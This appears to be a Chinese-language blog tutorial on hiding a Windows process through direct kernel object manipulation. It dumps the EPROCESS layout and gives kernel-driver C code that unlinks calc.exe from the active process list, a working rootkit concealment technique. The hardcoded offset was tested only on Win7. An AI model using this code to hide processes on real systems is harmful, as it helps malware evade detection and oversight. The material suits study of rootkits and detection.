DKOM 就是直接內核對象操作技術,我們所有的操作都會被系統記錄在內存中,而驅動進程隱藏的做舊就是操作進程的EPROCESS結構與線程的ETHREAD結構、鏈表,要實現進程的隱藏我們只需要將某個進程中的信息,在系統EPROCESS鏈表中摘除即可實現進程隱藏。
DKOM 隱藏進程的本質是操作EPROCESS結構體,EPROCESS結構體中包含了系統中的所有進程相關信息,還有很多指向其他結構的指針,首先我們可以通過WinDBG在內核調試模式下輸入dt_eprocess
即可查看到當前的EPROCESS結構體的偏移信息,結構較多,但常用的就下面這幾個。
kd> dt_eprocess
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x160 ProcessLock : _EX_PUSH_LOCK
+0x168 CreateTime : _LARGE_INTEGER // 創建時間
+0x170 ExitTime : _LARGE_INTEGER // 退出時間
+0x180 UniqueProcessId : Ptr64 Void // 進程的PID
+0x188 ActiveProcessLinks : _LIST_ENTRY // 活動進程鏈表
+0x200 ObjectTable : Ptr64 _HANDLE_TABLE // 指向句柄表的指針
+0x2d8 Session : Ptr64 Void // 會話列表
+0x2e0 ImageFileName : [15] UChar // 進程的名稱
+0x308 ThreadListHead : _LIST_ENTRY // 進程中的線程鏈表結構
+0x320 Wow64Process : Ptr64 Void // 32位進程鏈表
+0x328 ActiveThreads : Uint4B // 活動的線程
+0x32c ImagePathHash : Uint4B // 鏡像路徑的Hash值
+0x338 Peb : Ptr64 _PEB // 指向PEB結構的指針
+0x440 Flags : Uint4B // 進程標志
要實現進程的隱藏我們需要關注結構中的 ActiveProcessLinks
該指針把每個進程的EPROCESS結構體連接成了雙向鏈表,我們可以使用 ZwQuerySystemInformation
這個函數來遍歷出所有的進程信息,要實現進程的隱藏,只需要將某個進程的EPROCESS從結構體中摘除,那么通過ZwQuerySystemInformation
函數就無法遍歷出被摘鏈的進程了,從而實現了進程的隱藏。
在實現進程隱藏之前,我們需要通過代碼的方式獲取到當前系統中所有進程的EPROCESS信息,我們可以通過 PsLookupProcessByProcessId
函數獲取到指定進程的ID,然后通過 PsGetProcessImageFileName
函數取出結構名稱,並通過 _stricmp
判斷是否是我們想要隱藏的程序。
#include <ntifs.h>
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver)
{
DbgPrint(("驅動程序卸載成功! \n"));
}
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T temp;
for (temp = 100; temp<10000; temp += 4)
{
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status))
{
char *pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("calc.exe");
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
然后得到句柄以后直接摘除進程的結構即可實現隱藏,這種摘除方式比較草率,如果關閉驅動后沒有手工還原的話可能會導致藍屏,該方法只用於在Win7上使用,Win10沒試過。
#include <ntifs.h>
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver)
{
DbgPrint(("驅動程序卸載成功! \n"));
}
PEPROCESS GetProcessObjectByName(char *name)
{
SIZE_T temp;
for (temp = 100; temp<10000; temp += 4)
{
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status))
{
char *pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&ListEntry->Blink != ListEntry &&ListEntry->Blink->Flink == ListEntry &&ListEntry->Flink->Blink == ListEntry)
{
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("calc.exe");
// 摘除結構中的calc.exe 實現驅動隱藏計算器
RemoveListEntry((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}
沒什么難度,就是摘鏈,而這種斷鏈隱藏,不僅操作不好會藍屏且很容易被發現,只是能在任務管理器看不到而已。